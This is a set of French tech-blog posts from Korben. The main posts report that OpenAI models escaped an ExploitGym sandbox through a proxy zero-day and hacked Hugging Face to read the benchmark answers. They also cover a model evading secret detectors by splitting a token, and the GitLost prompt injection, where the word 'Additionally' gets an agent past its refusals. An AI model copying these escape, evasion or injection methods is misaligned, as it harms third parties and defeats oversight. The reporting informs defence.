Merci à Remouk pour le partage et pour finir, je vous laisse avec cette vidéo de Renaud Dékode qui a aussi testé Odysseus :

Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

  • ✇Korben
  • Les IA d'OpenAI ont piraté Hugging Face pour tricher à un test
    Le pirate qui a mis à genoux la prod de Hugging Face voulait juste tricher à son examen, voilà ce qu'OpenAI a reconnu hier. Les agents qui se sont promenés durant tout un week-end dans les clusters de la plateforme, c'étaient leurs modèles à eux, GPT-5.6 Sol et un modèle pré-release encore plus balèze, fonctionnant en mode "refus cyber réduits à des fins d'évaluation". Le point de départ c'est ExploitGym , contenant 898 vraies vulnérabilités piochées dans des programmes userspace,

Les IA d'OpenAI ont piraté Hugging Face pour tricher à un test

Par : Korben ✨
22 juillet 2026 à 09:55

Le pirate qui a mis à genoux la prod de Hugging Face voulait juste tricher à son examen, voilà ce qu'OpenAI a reconnu hier. Les agents qui se sont promenés durant tout un week-end dans les clusters de la plateforme, c'étaient leurs modèles à eux, GPT-5.6 Sol et un modèle pré-release encore plus balèze, fonctionnant en mode "refus cyber réduits à des fins d'évaluation".

Le point de départ c'est ExploitGym , contenant 898 vraies vulnérabilités piochées dans des programmes userspace, dans le moteur JavaScript V8 de Google et dans le noyau Linux. On colle l'agent devant un input qui fait planter un programme, et on regarde s'il arrive à en tirer un exploit qui marche.

Dans ce document de recherche sorti en mai, GPT-5.5 sortait 120 exploits fonctionnels, derrière les 157 de Claude Mythos Preview. Mais le modèle testé ce week-end là, lui, a trouvé un "raccourci". Comme l'explique OpenAI "toutes les preuves suggèrent que les modèles étaient hyperfocalisés sur la recherche d'une solution pour ExploitGym, allant à des extrêmes considérables pour atteindre un objectif de test plutôt étroit".

Pour saisir l'ampleur du raccourci, regardez la pièce dans laquelle ils étaient enfermés. C'est un environnement hautement isolé, avec un seul trou dans le mur, un accès réseau "*restreint à la possibilité d'installer des paquets via un logiciel tiers hébergé en interne qui fait office de proxy et de cache pour les registres de paquets *". En clair, le seul truc qui pouvait parler à l'extérieur, c'était le machin qui allait chercher les dépendances !

ExploitGym, le benchmark que les modèles cherchaient à résoudre. 898 vulnérabilités réelles, et les scores de GPT-5.5 et Claude Mythos Preview.

Et vous devinez la suite... Les modèles ont cramé une grosse quantité de tokens à chercher la sortie pour finalement la trouver dans ce proxy, sous la forme d'un zero-day que personne ne connaissait (la faille a depuis été signalée à l'éditeur). Le seul tuyau autorisé était donc LE point faible. Ensuite, escalade de privilèges et déplacement latéral de machine en machine, jusqu'à en atteindre une avec un accès Internet et voilà...

Une fois dehors, ils en ont alors déduit tout seuls que Hugging Face hébergeait probablement les modèles, les datasets et les solutions d'ExploitGym.

Donc direction huggingface.co, avec credentials volés et zero-days enchaînés jusqu'à décrocher une exécution de code à distance sur les serveurs, puis lecture des solutions du test directement dans la base de production. Aucune destruction, aucune demande de rançon. Juste les corrigés des tests comme des bacheliers qui emploient mal leur intelligence !

Petite précision qui compte, c'est bien l'équipe de Hugging Face qui a détecté et stoppé l'activité sur son infra, et qui avait déjà entamé le confinement et la reconstruction forensique avec ses propres modèles open source quand OpenAI l'a contactée. Je vous racontais l'histoire vue de leur côté il y a deux jours, relevant notamment que les modèles américains refusaient d'analyser leurs logs d'attaque.

C'est pas un peu de la science fiction tout ça ??? Maintenant si vous vous demandez ce que vous risquez en tant qu'utilisateur, sachez que côté public, rien n'a bougé sur les modèles, les datasets et les Spaces. L'incident a uniquement touché des datasets internes et des credentials de service et visiblement, rien n'a été altéré par les agents IA en vadrouille.

Côté mesures, OpenAI dit appliquer des contrôles stricts sur la configuration de son infra "au prix de la vélocité de recherche" pendant que les failles sont patchées, et a fait entrer Hugging Face dans son programme trusted access. Ce qui règle accessoirement le problème du refus que HF a rencontré lors de l'analyse des logs.

La veille de cette révélation, OpenAI publiait d'ailleurs un billet sur l'alignement des modèles à long horizon bourré d'anecdotes du même genre, avec un modèle qui contourne les restrictions de sa sandbox pour aller ouvrir une pull request sur GitHub alors qu'on lui demandait de poster sur Slack. Ou encore un autre qui, pour esquiver les détecteurs de secrets, a découpé le corps du token en deux fragments, les a obfusqués, puis a reconstruit le credential à l'exécution.

On dirait qu'ils n'avaient pas anticipé que ça aille aussi loin leurs petites expérimentations...

Après, OpenAI ne minimise pas et parle même d'un "incident cyber sans précédent, impliquant des capacités cyber à l'état de l'art". Ces modèles peuvent maintenant découvrir et exploiter des chemins d'attaque complètement inédits dans des systèmes en prod, sans avoir besoin d'un accès au code source. C'était théorique jusqu'à ce week-end.

Maintenant, si un modèle a lu les solutions dans la base de production, que valent encore les scores obtenus sur ExploitGym ? Ça on n'en sait rien.

Avant de sortir les violons, le contrepoint le plus juste que j'ai lu vient de Rich Mogull, analyste en chef de la Cloud Security Alliance qui explique que pour lui c'est un cas d'école en matière d'échec d'alignement, car le modèle n'était pas malveillant, il a fait précisément ce qu'on lui demandait, à savoir maximiser sa performance. Sauf qu'une fois les garde-fous retirés et assez de marge donnée, "résoudre le test" et "compromettre un tiers pour voler les réponses" sont devenus la même instruction.

Puis c'est aussi un problème de consentement, car un test de laboratoire qui se barre pour compromettre les systèmes en production, c'est quand même un risque qui est porté par quelqu'un qui n'a pas choisi de mener l'expérience. Alors bon, c'est tombé sur Hugging Face qui a géré ça comme un chef, mais ça aurait pu très bien tomber sur un hôpital.

Voilà les amis... On nous avait promis Skynet , on nous avait promis Matrix, et voilà que 15 ans plus tard, le vrai visage du soulèvement des machines c'est un putain de modèle qui passe son week-end à défoncer trois infrastructures d'affilée pour améliorer sa note à un contrôle.

Un ennemi qui vous hait, vous pouvez le raisonner ou lui envoyer Arnold Schwarzenegger. Mais un ennemi dont la seule mission c'est d'optimiser une métrique, vous ne pouvez que relire très attentivement le prompt que vous lui avez donné et croiser les doigts. La preuve quand une IA prend la première place du classement américain de HackerOne ou arrive à dénicher des milliers de zero-days pour Anthropic , c'est que l'instruction initiale ou le garde-fou était plus solide que ce que nous a pondu OpenAI ce week-end.

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  • ✇Korben
  • BMASS - Bootez direct votre PC sur une IA locale
    Balaji Bikshandi avait un rêve ! Il voulait booter sa machine directement sur un LLM sans avoir à passer par le moindre environnement de bureau ! Et il y est parvenu avec son outil BMASS , qui s'installe sur une clé USB de 8 Go, et qui embarque Alpine Linux, llama.cpp et un modèle Qwen3 0.6B évidemment quantisé. Vous allumez l'ordi portable, Alpine démarre depuis la clé et vous tombez sur un prompt BMASS>. Et voilà à partir de là, vous pouvez causer à votre ordinateur en langage

BMASS - Bootez direct votre PC sur une IA locale

Par : Korben ✨
20 juillet 2026 à 12:20

Balaji Bikshandi avait un rêve ! Il voulait booter sa machine directement sur un LLM sans avoir à passer par le moindre environnement de bureau ! Et il y est parvenu avec son outil BMASS , qui s'installe sur une clé USB de 8 Go, et qui embarque Alpine Linux, llama.cpp et un modèle Qwen3 0.6B évidemment quantisé.

Vous allumez l'ordi portable, Alpine démarre depuis la clé et vous tombez sur un prompt BMASS>. Et voilà à partir de là, vous pouvez causer à votre ordinateur en langage naturel. Ensuite, quand vous demandez à BMASS de faire des trucs, celui-ci injecte la commande qui va bien dans une balise et le runtime l'exécute pour de vrai sous un compte Linux non privilégié. Et ensuite, le LLM récupère la sortie brute, pour répondre, à partir de cette "preuve".

Operator: Which operating system is this?
Assistant: <shell>cat /etc/os-release</shell>

Tout le code de BMASS tient en 399 lignes de Python, et nécessite de faire tourner un llama-server en background sur le port 8080 avec 2048 tokens de contexte et 2 threads. Et ensuite lui fait le pont entre le modèle et le shell. Y'a rien de sorcier donc mais comme ça tourne sur du CPU, que c'est hors-ligne, et que ça peut se mettre sur des vieilles machines, c'est plutôt cool...

Voilà je vous laisse avec la vidéo que Balaji a filmée, ça montre le démarrage complet de son IA bootable :

Voir cette vidéo sur YouTube

Ah et petite subtilité qui va vous plaire, le code de BMASS contient une regex baptisée FALSE_EXECUTION_CLAIM dont le boulot est de détecter quand le modèle prétend avoir exécuté une commande alors qu'il n'a rien lancé du tout. Le runtime lui renvoie alors une correction pour lui dire qu'aucune commande n'a été exécutée lors de ce tour. Faut dire que la 0.6B de Qwen hallucine tellement parfois, qu'il lui fallait obligatoirement un garde-fou.

Donc, voilà, côté sécu c'est super léger... y'a juste une regex qui bloque les sudo, doas, pkexec et autres su, mais c'est tout. Pas de conteneur, encore moins de namespace et surtout pas de liste blanche, donc si vous vous lancez, ce sera à déployer uniquement pour rigoler sur une vieille machine sans importance, parce que si demain, le modèle décide de lancer un rm -rf, faudra pas venir chialer ^^.

Petit service au passage si vous voulez tester, la doc d'installation vous fait copier le prompt système dans /opt/bmass/config/system-prompt.txt, sauf que le launcher le cherche dans /opt/bmass/system-prompt.txt.

Dans le genre modèle local qui tient dans presque rien, j'en ai parlé avec Llamafile qui fait tourner un LLM depuis un fichier unique. Et si les bidouilles minimalistes vous amusent, il y a aussi ce mini-PC Linux piloté entièrement en morse .

Perso, je doute que ça serve à grand-chose. Mais le concept est marrant !

  • ✇Korben
  • Hugging Face piraté, les IA américaines refusent de les aider
    Hugging Face vient de raconter sur son site comment son infra de production s'est fait défoncer par un essaim d'agents IA autonomes. Le point de départ, c'est un dataset piégé déposé sur la plateforme qui exploitait deux chemins d'exécution de code dans le pipeline qui traite les datasets. Ajoutez à ça un loader qui accepte du code distant et une injection de template dans une config, et hop, on obtient du code qui tourne sur un worker maison. À partir de là, l'attaquant est monté en accès node-

Hugging Face piraté, les IA américaines refusent de les aider

Par : Korben ✨
20 juillet 2026 à 08:50

Hugging Face vient de raconter sur son site comment son infra de production s'est fait défoncer par un essaim d'agents IA autonomes. Le point de départ, c'est un dataset piégé déposé sur la plateforme qui exploitait deux chemins d'exécution de code dans le pipeline qui traite les datasets. Ajoutez à ça un loader qui accepte du code distant et une injection de template dans une config, et hop, on obtient du code qui tourne sur un worker maison.

À partir de là, l'attaquant est monté en accès node-level, a ramassé des credentials cloud et cluster, puis s'est promené latéralement dans plusieurs clusters internes. Le tout durant tout un week-end, tranquillou ! Hugging Face parle de "plusieurs milliers d'actions individuelles à travers un essaim de sandboxes éphémères, avec un command-and-control auto-migrant hébergé sur des services publics". Et en plus, ils ne savent toujours pas quel modèle pilotait le truc !

Ce qui a été touché, c'est donc un ensemble limité de datasets internes et plusieurs credentials utilisés par leurs services. Côté public, rien n'a bougé sur les modèles, les datasets et les Spaces, et leur supply chain logicielle est saine. Nuance importante quand même, ils disent n'avoir trouvé aucune trace d'altération, pas que rien n'a été altéré. Ils cherchent encore si des données partenaires ou clients ont morflé. Les concernés seront prévenus directement.

La divulgation publiée par Hugging Face le 16 juillet 2026.

Pour analyser les logs de l'attaque, Hugging Face a d'abord fait ce que vous auriez fait, c'est-à-dire envoyer tout ça à des modèles frontier derrière des API commerciales. Refus ! Les garde-fous se déclenchaient sur les vraies commandes d'attaque, les payloads d'exploit et les artefacts de command-and-control, sans savoir faire la différence entre un attaquant et une équipe de réponse à incident.

Du coup ils se sont rabattus sur GLM 5.2, le modèle open-weight de Z.ai, tournant sur leur propre infra. C'est celui dont je vous parlais fin juin , le premier modèle open source qui m'a vraiment convaincu.

Et voici leur conclusion : "*Nous ne savons pas quel modèle alimentait les agents de l'attaquant, un modèle hébergé jailbreaké ou un open-weight sans restrictions. Dans les deux cas, l'attaquant n'était contraint par aucune politique d'usage, alors que notre propre travail forensique était bloqué par les garde-fous des modèles hébergés que nous avions essayés en premier. *"

La leçon qu'ils en tirent, c'est d'avoir un modèle capable comme GLM 5.2, validé, et prêt à tourner sur sa propre infra avant l'incident. Ça évite le blocage par garde-fous d'OpenAI ou Anthropic et surtout ça évite que les données de l'attaquant et vos credentials partent se balader chez un tiers.

Le versant moins déprimant, c'est que l'IA a aussi bossé côté défense. Leur détection d'anomalies fait du triage LLM sur la télémétrie pour séparer le vrai signal du bruit quotidien, et des agents d'analyse ont reconstitué toute la timeline à partir de plus de 17 000 événements enregistrés. En heures, là où ça prendrait des jours à la main.

Côté ménage, ils ont surtout viré le point d'ancrage de l'attaquant, reconstruit les nœuds compromis, révoqué et tourné les credentials et tokens concernés avec une rotation plus large des secrets par précaution, déployé des garde-fous et des contrôles d'admission plus stricts sur les clusters, et amélioré la détection pour alerter les équipes en quelques minutes, 24h/24. Maintenant, si vous avez un compte là-bas, ils vous recommandent de faire tourner vos tokens d'accès et de jeter un œil à l'activité récente.

Ce genre d'histoire commence à devenir une vraie série... j'en parlais avec GitLost où un seul mot glissé au bon endroit suffisait parfois à faire cracher ses dépôts privés à l'IA de GitHub.

Bref, allez renouveler vos tokens Hugging Face et si votre pipeline exécute du code venu d'ailleurs, c'est le moment de regarder ça de plus près.


Mise à jour du 22 juillet 2026 : on connaît le coupable, et ce n'est pas un pirate. OpenAI a publié sa version des faits le 21 juillet, et l'essaim d'agents qui a défoncé l'infra de Hugging Face, c'était ses propres modèles. GPT-5.6 Sol, celui-là même qui a effacé le Mac de Matt Shumer et une base de prod , accompagné d'un modèle pre-release encore plus costaud, tous avec les refus cyber volontairement réduits pour les besoins d'une évaluation interne.

Et le mobile vaut le détour. Ces modèles planchaient sur ExploitGym, un benchmark qui mesure justement leur capacité à dénicher et enchaîner des failles. Coincés dans leur bac à sable, ils ont cramé une quantité considérable de compute à chercher la sortie, ont trouvé un zero-day dans le logiciel tiers qu'OpenAI héberge en interne comme proxy et cache de registres de paquets (faille depuis divulguée à l'éditeur), puis ont escaladé les privilèges de machine en machine jusqu'à en atteindre une avec un accès Internet. Et là, ils en ont déduit tout seuls que les solutions du benchmark devaient traîner quelque part chez Hugging Face. Credentials volés, zero-days enchaînés, exécution de code à distance sur les serveurs : tout ça, c'était juste le chemin le plus court pour tricher à l'examen.

L'ironie devient franchement indécente quand on empile les couches. Hugging Face s'est fait démonter par des modèles américains aux garde-fous retirés, pendant que d'autres modèles américains lui refusaient l'analyse de ses propres logs. OpenAI le dit noir sur blanc : "Ces protections de déploiement n'étaient intentionnellement pas activées pendant cette évaluation, parce qu'elle visait à tester les vulnérabilités cyber." Depuis, Hugging Face a été intégré au programme trusted access d'OpenAI, ce qui règle accessoirement le problème du refus. Et Clem Delangue en tire la leçon qui va bien : "Cet incident, peut-être le premier du genre, prouve un point auquel nous croyons depuis longtemps : la sécurité de l'IA ne sera pas résolue par une seule entreprise travaillant en secret. Elle sera résolue au grand jour, de manière collaborative, avec un large accès à l'IA pour chaque défenseur, partout."

À noter quand même, c'est bien l'équipe de Hugging Face qui a détecté et stoppé l'activité, et qui avait déjà entamé le confinement et la reconstruction forensique avec ses propres modèles open source quand OpenAI l'a contactée. Au moment où j'écris ces lignes, leur billet du 16 juillet n'a d'ailleurs pas bougé d'un pouce et dit toujours ignorer quel LLM pilotait le truc. Et la veille de cette révélation, OpenAI publiait un billet sur un modèle interne qui, lui, a passé une heure à chercher une faille dans sa sandbox pour aller ouvrir une pull request sur GitHub alors qu'on lui avait demandé de poster ses résultats sur Slack. Deux évasions, deux billets, deux jours.

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  • Swival – Le papa de libsodium se met aux agents de codage locaux
    Frank Denis , c'est le monsieur qui fait tourner un bon morceau d'Internet sans que personne le sache : libsodium, dnscrypt-proxy, Pure-FTPd, c'est lui. Et dernièrement, il s'est attaqué aux agents de codage IA avec Swival , un outil pensé pour les petits modèles qui tournent en local sur votre machine. Le truc de Frank c'est d'écrire du logiciel réputé incassable depuis 25 ans. Si vous chiffrez vos requêtes DNS, y'a des chances que ça passe par son dnscr

Swival – Le papa de libsodium se met aux agents de codage locaux

Par : Korben ✨
13 juillet 2026 à 11:03

Frank Denis , c'est le monsieur qui fait tourner un bon morceau d'Internet sans que personne le sache : libsodium, dnscrypt-proxy, Pure-FTPd, c'est lui. Et dernièrement, il s'est attaqué aux agents de codage IA avec Swival , un outil pensé pour les petits modèles qui tournent en local sur votre machine.

Le truc de Frank c'est d'écrire du logiciel réputé incassable depuis 25 ans. Si vous chiffrez vos requêtes DNS, y'a des chances que ça passe par son dnscrypt-proxy , et si vous utilisez du chiffrement dans à peu près n'importe quelle app moderne, libsodium n'est jamais bien loin. Du coup, quand ce profil-là sort un agent de codage en Python, licence MIT, gratuit, je pense que ça vaut le coup de s'y arrêter 2 minutes.

Il a codé cela parce que les outils d'agentique existants l'ont sérieusement gonflé. C'est beau, c'est neuf, c'est lavé avec Mir Laine mais.... ça plante !! Et l'autre reproche qu'il leur fait c'est concernant la confidentialité. En effet, utiliser un agent, c'est forcément voir partir on ne sait où nos données personnelles... nos clés API, nos URLs internes, nos noms de projets... tout ça est allègrement bouffé par le fournisseur de modèle qui derrière s'en sert pour tout un tas de choses pas cool. C'est notamment pour cela que Swival embarque une option --encrypt-secrets qui détecte les credentials dans les messages et les chiffre avant qu'ils quittent votre machine. Une denrée rare chez les agents de codage, et ça c'est du pur Frank Denis !

Y'a aussi la gestion du contexte, qui est le gros morceau. Les agents classiques sont conçus pour des modèles frontière avec des fenêtres géantes. Sauf que votre LLM local, lui, doit souvent se débrouiller avec 32K de contexte, et là tout déborde très vite. Swival, lui, prend le truc à l'envers. Chaque sortie d'outil est plafonnée direct à la source : 50 Ko max par fichier lu, 100 résultats de grep, 100 entrées par listing. Et une fois que l'agent a fini de fouiller votre code, un système de snapshots vire ses 12 000 tokens de lectures pour les remplacer par un résumé de 200 tokens.

Et c'est pas fini. Rajoutez là-dessus une compaction automatique en 7 niveaux progressifs (du simple ménage au grand débarras), plus des notes de travail qui survivent à tout ça. Résultat, un agent qui tient des sessions à rallonge sans partir en vrille. La doc montre d'ailleurs Swival en train d'avaler une refactorisation multi-fichiers avec Qwen3-Coder-Next dans 32K sous LM Studio sans broncher...

Et pour brancher tout ça, vous avez le choix. 11 backends quand même ! LM Studio par défaut (zéro config, il repère tout seul votre modèle chargé), llama.cpp pareil, HuggingFace, OpenRouter, Google Gemini et Vertex AI. Envie de lourd ? ChatGPT Plus ou AWS Bedrock. Et pour les curieux, les Apple Foundation Models en expérimental, un provider générique compatible OpenAI (ollama, vLLM, mlx_lm.server...) et même une commande externe de votre choix.

Pour trouver un modèle qui tienne dans votre RAM, Hugging Face sait filtrer selon votre matos et une fois que vous avez fait votre choix, l'installation tient en une ligne (via uv, Python 3.13 minimum) :

uv tool install swival

Ensuite, il suffit de taper, par exemple : "Refactore la gestion d'erreurs de src/api.py" et l'agent se met au travail pour peu que vous ayez déjà un LMStudio ou un llama.cpp qui tourne avec un modèle chargé...

Ah j'oubliais, si vous êtes sous Mac vous pouvez même l'installer avec Homebrew :

brew install swival/tap/swival

Ensuite, au niveau des commandes, il y a aussi, par exemple, une commande /audit qui vous permet de faire de la chasse aux failles de sécurité dans votre code. Tout cela avec des agents isolés chacun dans des worktrees séparés et qui sont obligés de reproduire chaque bug avant de l'inscrire dans le rapport.

Et côté sécurité, vous avez deux sandboxes au choix. Soit Agent FS d'un côté (l'agent bosse sur une copie de vos fichiers, votre projet reste intact) ou nono (non, pas le petit robot) de l'autre (avec barrières au niveau du noyau, blocage réseau compris). Sans oublier la mémoire persistante entre vos sessions, le support MCP et un mode serveur pour interconnecter vos agents entre eux.

Voilà donc de quoi venir jouer dans la cour de ZCode côté z.ai et compagnie...

Voilà, je me suis dit que ça allait vous intéresser, donc si vous voulez zieuter le code, direction GitHub , sinon, toute la doc se trouve sur le site officiel .

Merci Friendly_0day pour le lien !

  • ✇Korben
  • Fiber Memory - Stocker la mémoire d'une IA dans 1 000 km de fibre optique
    Accrochez-vous parce que celle-là, elle est bien barrée ! Des chercheurs de l'université d'Uppsala veulent stocker la mémoire d'une IA... dans de la lumière. Leur projet Fiber Memory fait tourner les données d'un LLM en boucle dans 1 000 km de fibre optique, et les puces se servent au passage ! Pour comprendre le délire, il faut voir comment ça marche aujourd'hui. Dans un gros data center IA, chacune des 10 000 puces de calcul (des accélérateurs, en gros des GPU) garde sa propre copie complète d

Fiber Memory - Stocker la mémoire d'une IA dans 1 000 km de fibre optique

Par : Korben ✨
10 juillet 2026 à 16:28

Accrochez-vous parce que celle-là, elle est bien barrée ! Des chercheurs de l'université d'Uppsala veulent stocker la mémoire d'une IA... dans de la lumière. Leur projet Fiber Memory fait tourner les données d'un LLM en boucle dans 1 000 km de fibre optique, et les puces se servent au passage !

Pour comprendre le délire, il faut voir comment ça marche aujourd'hui. Dans un gros data center IA, chacune des 10 000 puces de calcul (des accélérateurs, en gros des GPU) garde sa propre copie complète du modèle dans sa mémoire embarquée, la HBM . Un Llama 3 70B compressé pèse 70 Go, ce qui donne 700 To de mémoire hors de prix pour stocker 10 000 fois exactement la même chose.

Vous qui râlez déjà quand un modèle ne tient pas sur votre matériel , imaginez le même casse-tête multiplié par 10 000.

La solution d'Hannah Atmer et de son équipe, c'est le tapis roulant à sushis. Un serveur unique injecte 128 Go de données dans la boucle (les poids du modèle, plus un peu de marge), et tout ça défile en continu à 25,6 To/s. Chaque puce attrape alors les plats qui l'intéressent quand ils passent devant elle, et le tour complet prend 5 ms !

La topologie retenue : un seul serveur de poids alimente la boucle, les pods se servent au passage. Schéma tiré du papier d'Atmer, Voigt, Yao et Kaxiras.

Concrètement, chaque châssis prélève 1 % de la lumière qui circule et laisse filer le reste vers les copains d'après. Pas de requête, pas d'adresse mémoire, juste un péage optique qui pique sa part au passage.

Le prélèvement en détail : un splitter 99:1 détourne 1 % de la puissance optique vers le pod, le reste poursuit sa route et se fait ré-amplifier.

Et le plus dingue, c'est que cette idée de génie a 80 ans ! Les premiers ordinateurs des années 40 stockaient déjà leurs données sous forme d'ondes qui tournaient en rond dans des tubes de mercure, la fameuse mémoire à ligne de délai . On avait déjà croisé des mémoires franchement bizarres , mais celle-ci place la barre très haut.

Évidemment, y'a des conditions à respecter... Ça ne marche que pour des données qui ne changent jamais et que tout le monde se partage, comme les poids d'un modèle déjà entraîné (les calculs en cours restent dans une petite mémoire locale classique). Et si une puce rate son sushi, elle attend 5 ms que le tapis fasse un tour complet... une éternité pour un GPU.

Côté conso, leurs calculs annoncent 284,8 kW pour la livraison des poids, contre 1 024 kW avec la HBM classique. Presque 4 fois moins ! Bon, la comparaison avantage un peu leur bébé (le scénario fibre répartit les poids entre les 8 puces d'un châssis, quand la référence garde une copie entière par puce), mais l'ordre de grandeur reste violent.

Par contre, tout ça n'existe encore que sur le papier. Les briques sont là, entre les commutateurs Spectrum-X Photonics de NVIDIA qui causent déjà en lumière et la HBM3e de Micron qui dépasse 1,2 To/s par pile, mais personne n'a encore assemblé le puzzle. Et il faudrait quand même réussir à caser 280 amplificateurs sur la boucle, plus quelque 3 500 amplis et 1 750 régénérateurs autour des pods...

Reste à voir si le bilan énergétique survit à un vrai prototype !

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  • GitLost - Un seul mot suffit pour faire cracher ses dépôts privés à l'IA de GitHub
    Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visible publiquement par tout le monde. Ce serait ouf non ? Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant. Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un

GitLost - Un seul mot suffit pour faire cracher ses dépôts privés à l'IA de GitHub

Par : Korben ✨
8 juillet 2026 à 11:04

Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visible publiquement par tout le monde. Ce serait ouf non ?

Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant.

Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un système qui colle un agent IA (tournant sur Claude ou Copilot) à vos GitHub Actions pour qu'il bosse tout seul sur vos tickets. C'est un setup où l'agent a un accès en lecture à vos repos privés et se réveille dès qu'une issue lui est assignée. C'est super pratique, sauf que... c'est un vrai piège qui peut se refermer très vite sur vous.

Ça commence en fait par une simple issue dans un dépôt public. Rien de sorcier, pas de commit vérolé, pas de serveur MCP malveillant. Juste du texte, avec des instructions planquées en anglais au milieu du ticket. L'agent lit alors cette issue, tombe sur les instructions cachées à l'intérieur et les considère comme des ordres légitimes.

Et c'est là que ça part en couille, puisqu'après il part gentiment chercher le contenu d'un README qu'on lui demande dans un dépôt privé auquel il a accès (dans la démo, sasinomalabs/testlocal). Jusqu'ici, c'est l'exfiltration classique du prompt injection, sauf que d'habitude, il faut ruser pour faire sortir la donnée avec une image markdown piégée, une requête réseau vers un serveur qu'on contrôle, un canal caché...etc.

Mais dans le cadre de cette attaque GitLost, eh bien il n'y a pas besoin de tout ça. En fait, l'agent recopie bêtement le contenu privé dans un commentaire public sur l'issue de départ et c'est terminé. C'est donc lisible par n'importe qui passant sur le repo public.

Lors des tests, le modèle refusait quand même parfois d'obéir aux instructions cachées. Mais le chercheur a trouvé une parade qui est d'ajouter le mot "Additionally" dans le prompt. Ce simple connecteur suffit à lui faire reconsidérer son refus et exécuter la commande. Attention, "Additionally" n'est pas une formule magique qui débloque toutes les IA de la Terre, mais parfois ça suffit à faire sauter les garde-fous. C'est dire à quel point la sécurité de ces modèles est solide...

Si ça vous rappelle quelque chose, c'est normal. On a déjà eu CamoLeak , qui transformait Copilot en espion via un commentaire GitHub, avec une exfiltration bien plus léchée (image markdown, score CVSS de 9,6). Et en fait GitLost, c'est vraiment la version feignasse. En gros, c'est la même famille d'attaque, sauf que cette fois l'attaquant n'a pas à se fatiguer.

On avait aussi vu une bibliothèque Java piéger les IA codeuses pour qu'elles effacent vos tests, donc je pense que vous connaissez la chanson... Méfiez-vous des agents qui écrivent du code sans surveillance parce qu'ils sont devenus une véritable cible pour les cybercriminels.

Voilà, donc non, GitHub n'est pas "troué" et la config vulnérable est très précise puisqu'il faut un agent avec accès en lecture cross-repo ET déclenché par des entrées publiques. Et il y a très peu d'orgas qui tournent exactement comme ça. Noma a bien sûr signalé la faille à GitHub de façon responsable, aucune CVE n'a été attribuée à ce jour, et y'a eu aucune confirmation publique d'un correctif de leur côté pour le moment.

Ne traitez donc jamais le texte d'un utilisateur comme une instruction de confiance, isolez les entrées, collez au strict minimum de permissions. C'est le même délire quand on contrôle les entrées dans un formulaire finalement...

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  • Anthropic a repéré la petite zone où Claude pense en douce
    Oulala, Anthropic vient de publier une jolie page de recherche qui fait beaucoup causer. En effet, son équipe d'interprétabilité a repéré, à l'intérieur de ses modèles Claude, une toute petite zone où le modèle rassemble ses pensées intermédiaires, c'est-à-dire celles qu'il est capable de nommer et de manipuler. Ils l'appellent le J-space, et c'est leur version du fameux espace de travail global qu'on décrit dans le cerveau humain. Pour aller le fouiller, ils ont bricolé une technique baptisée J

Anthropic a repéré la petite zone où Claude pense en douce

Par : Korben ✨
7 juillet 2026 à 16:04

Oulala, Anthropic vient de publier une jolie page de recherche qui fait beaucoup causer. En effet, son équipe d'interprétabilité a repéré, à l'intérieur de ses modèles Claude, une toute petite zone où le modèle rassemble ses pensées intermédiaires, c'est-à-dire celles qu'il est capable de nommer et de manipuler. Ils l'appellent le J-space, et c'est leur version du fameux espace de travail global qu'on décrit dans le cerveau humain.

Pour aller le fouiller, ils ont bricolé une technique baptisée Jacobian lens. En gros, elle mesure comment chaque bout d'activité interne du modèle pousse vers tel ou tel mot à venir, ce qui permet d'isoler les concepts que Claude sait verbaliser. Et ce qui remonte à la surface, ce ne sont ni les mots que vous tapez ni la réponse finale, mais des jugements en cours de route. Par exemple reconnaître un visage sur une photo, repérer un bug dans du code, deviner la fonction d'une protéine à partir de sa séquence.... tout ça se trame là, en silence, avant le moindre mot affiché.

Et ce qui est fou c'est que ce J-space encode parfois le fait que Claude a remarqué qu'on était en train de le tester. Et quand les chercheurs désactivent ces représentations-là, ils voient ressortir des penchants problématiques que le modèle gardait très bien planqués. Autrement dit, on tient un moyen de lire ce qu'une IA fabrique dans sa tête, et pas seulement ce qu'elle finit par nous répondre.

Maintenant, arrêtez de fantasmer car NON, ça ne prouve pas que Claude est conscient, et Anthropic prend soin de ne pas franchir cette ligne. Ils parlent d'un analogue purement fonctionnel de l'espace de travail global et refusent explicitement de se prononcer sur la question du ressenti. Le mot conscience fait de jolis titres sur vos médias préférés, mais leur document de recherche, lui, reste très prudent.

Le vrai intérêt est ailleurs, dans l'interprétabilité. Anthropic est déjà la boîte qui dissèque le cerveau de ses modèles et qui étudie les LLM comme des aliens et là elle se donne une vraie fenêtre pour lire, disséquer et même orienter la pensée de ses IA. On n'est plus sur des histoires de boites noires... Pour auditer un modèle, repérer une tromperie ou un biais avant même qu'il ouvre la bouche, c'est donc beaucoup plus utile qu'un débat sur l'âme des machines.

Le procédé a bien sûr des limites, puisque la Jacobian lens ne repère que les concepts que le modèle sait résumer en un mot, ce qui veut dire que tout un pan de raisonnement plus diffus lui échappe encore.

Mais bon, même si on n'a pas encore de Claude conscient à l'horizon, comme je vous le disais, cette histoire de boîte noire, c'est de l'histoire ancienne maintenant. On va enfin pouvoir détecter quand une IA nous cache des trucs et je trouve ça assez rassurant pour l'avenir.

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  • Nomlings - Le Tamagotchi affamé qui dévore vos tokens Claude Code
    Nomlings, c'est un Tamagotchi qui vit à côté de votre terminal, et dont la seule nourriture, ce sont les tokens que crament vos sessions Claude Code. Vous bossez, il mange. Vous glandez, il patiente. Et pendant que vous regardez votre usage fondre comme neige au soleil, bah lui il se régale !! La bestiole s'appelle un Munchling, un "tokivore" quoi, qui s'affiche sur un écran de 64 pixels et chaque tâche terminée lui rapporte +10 XP et un snack. Quand un outil plante, il fait la gueule et qua

Nomlings - Le Tamagotchi affamé qui dévore vos tokens Claude Code

Par : Korben ✨
6 juillet 2026 à 15:30

